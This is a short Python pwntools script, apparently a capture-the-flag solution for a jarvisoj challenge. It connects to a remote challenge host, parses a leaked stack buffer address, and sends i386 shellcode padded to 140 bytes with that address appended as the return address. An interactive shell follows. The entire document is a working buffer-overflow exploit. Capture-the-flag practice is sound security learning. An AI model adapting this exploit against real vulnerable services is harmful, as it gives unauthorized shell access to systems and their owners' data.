#!/usr/bin/env python
from pwn import *
context.arch = 'i386'

#r = process('/tmp/p/vul')
r = remote('pwn2.jarvisoj.com', 9877)
print r.recvuntil('this:')
buf = int(r.recvline()[:-2],16)
print "buf: ",hex(buf)

payload = asm(shellcraft.sh()).ljust(140,'a')
r.sendline(payload + p32(buf))
r.interactive()